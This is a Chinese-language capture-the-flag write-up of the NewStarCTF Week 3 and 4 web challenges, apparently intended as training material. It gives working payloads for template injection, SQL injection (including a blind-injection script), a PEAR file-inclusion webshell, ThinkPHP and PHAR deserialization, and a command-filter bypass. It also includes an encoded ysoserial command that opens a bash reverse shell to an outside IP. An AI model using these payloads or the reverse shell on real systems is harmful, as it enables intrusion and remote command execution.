NewStarCTF-Week3&4的WEB题目详解
字数 1127 2025-08-06 18:07:49
NewStarCTF Week3&4 WEB题目详解
Week3 WEB题目
BabySSTI_One
题目特点:
- 存在SSTI (Server-Side Template Injection)漏洞
- 过滤了class、subclass、bases等关键词
绕过方法:
- 字符串拼接绕过:
['__subc'+'lasses__'] - 使用
attr过滤器:|attr
Payload构造过程:
{{1['__cl'+'ass__']}}
{{1['__in'+'it__']}}
{{v1nd|attr("__in"+"it__")|attr("__glo"+"bals__")}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()}}
# 117->os._wrap_close
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()|attr("__getitem__")(117)}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()|attr("__getitem__")(117)|attr("__in"+"it__")|attr("__globals__")}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()|attr("__getitem__")(117)|attr("__in"+"it__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('tac /f*').read()")}}
multiSQL
题目特点:
- 存在SQL注入漏洞
- 提示堆叠注入
- 需要验证425分以上
- 过滤了select、update、insert等关键词
利用过程:
-
使用
show命令绕过select过滤:-1';show databases;%23 -1';show tables;%23 -1';show columns from score;%23 -
使用
replace into插入高分数据:-1';replace into score (`username`,`listen`,`read`,`write`) values ('kkk',600,600,600);%23 -
删除原数据:
-1';delete from score where listen=11;%23
IncludeTwo
漏洞源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}
利用方法:PEARCMD本地文件包含
Payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/tmp/v1nd.php
/index.php?file=/tmp/v1nd
POST数据:
1=system('ls /');
Maybe You Have To think More
题目特点:
- ThinkPHP 5.1.41框架
- 存在反序列化漏洞点
利用过程:
-
构造反序列化链
-
生成Payload:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJ2MW5kIjthOjE6e3M6NToiaGVsbG8iO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJmZW5nIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjg7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO319fX19 -
修改cookie中的
tp_user为上述值 -
GET传参
v1nd执行命令
Week4 WEB题目
So Baby RCE
漏洞源码:
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}
绕过方法:
- 使用
${}表达式绕过 - 特殊字符表示:
/:${PWD::${#SHLVL}}a:${USER:~A}t:${USER:~${#SHLVL}:${#SHLVL}}
Payload:
cd${IFS}..&&cd${IFS}..&&cd${IFS}..&&od${IFS}-a${IFS}${PWD}fff??lllaaaaggggg
BabySSTI_Two
绕过方法:
-
十六进制编码绕过:
{{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[166]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x0\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls%09/')['\x72\x65\x61\x64']()}} -
大写转小写绕过:
{{[abc]['__CLASS__'|lower]['__MRO__'|lower][-1]['__SUBCLASSES__'|lower]()[117]['__INIT__'|lower]['__GLOBALS__'|lower]['__BUILTINS__'|lower]['__IMPORT__'|lower]('os')['POPEN'|lower]('ls')['read']()}}
UnserializeThree
漏洞源码:
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
利用方法:
- 使用
\r绕过注释符# - 构造PHAR反序列化
POC:
<?php
class Evil{
public $cmd="\reval(\$_POST[1]);";
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Evil();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
利用步骤:
- 生成phar文件并改为png后缀上传
- 通过
file_exists触发反序列化:class.php?file=phar://test.phar
又一个SQL
题目特点:
- 布尔盲注
- 过滤了空格和
/**/ - 使用
/***/绕过空格过滤
盲注脚本:
import requests
import string
import time
att=string.digits+string.ascii_letters+'}{-$_.^,'
flag=''
url='http://34f02f7b-f372-4385-b30d-5d637442481b.node4.buuoj.cn:81/comments.php?name='
for i in range(1,50):
for a in att:
payload='0/***/or/***/(substr((select/***/text/***/from/***/`wfy_comments`/***/where/***/id=100),{},1)/***/like/***/binary/***/"{}")'.format(i,a)
res=requests.get(url=url+payload)
time.sleep(0.1)
if "好耶!你有这条来自条留言" in res.text:
flag+=a
print(flag)
break
print(flag)
Rome
利用方法:
-
使用ysoserial生成ROME链Payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjQ3LjIyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" | base64 -w 0 -
手动构造ROME反序列化链:
Templates calc = (Templates) createTemplateImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjQ3LjIyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"); ToStringBean toStringBean = new ToStringBean(Templates.class, calc); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); ObjectBean v1nd = new ObjectBean(String.class, "v1nd"); HashMap hashMap = new HashMap(); hashMap.put(v1nd,"v1nd"); setFieldValue(v1nd,"_equalsBean",equalsBean);
反序列化链:
HashMap#readObject
ObjectBean#hashCode
EqualsBean#beanHashCode
ToStringBean#toString
TemplatesImpl#getOutputProperties
总结
NewStarCTF第三四周的WEB题目难度较高,涵盖了多种漏洞类型和绕过技巧:
- SSTI绕过:字符串拼接、十六进制编码、大小写转换
- SQL注入:堆叠注入、关键词绕过、布尔盲注
- 文件包含:PEARCMD利用
- 反序列化:ThinkPHP、PHAR、ROME链
- RCE绕过:特殊字符替换、Linux环境变量
这些题目需要扎实的基础知识和灵活的绕过思维,是提升WEB安全技能的优秀练习材料。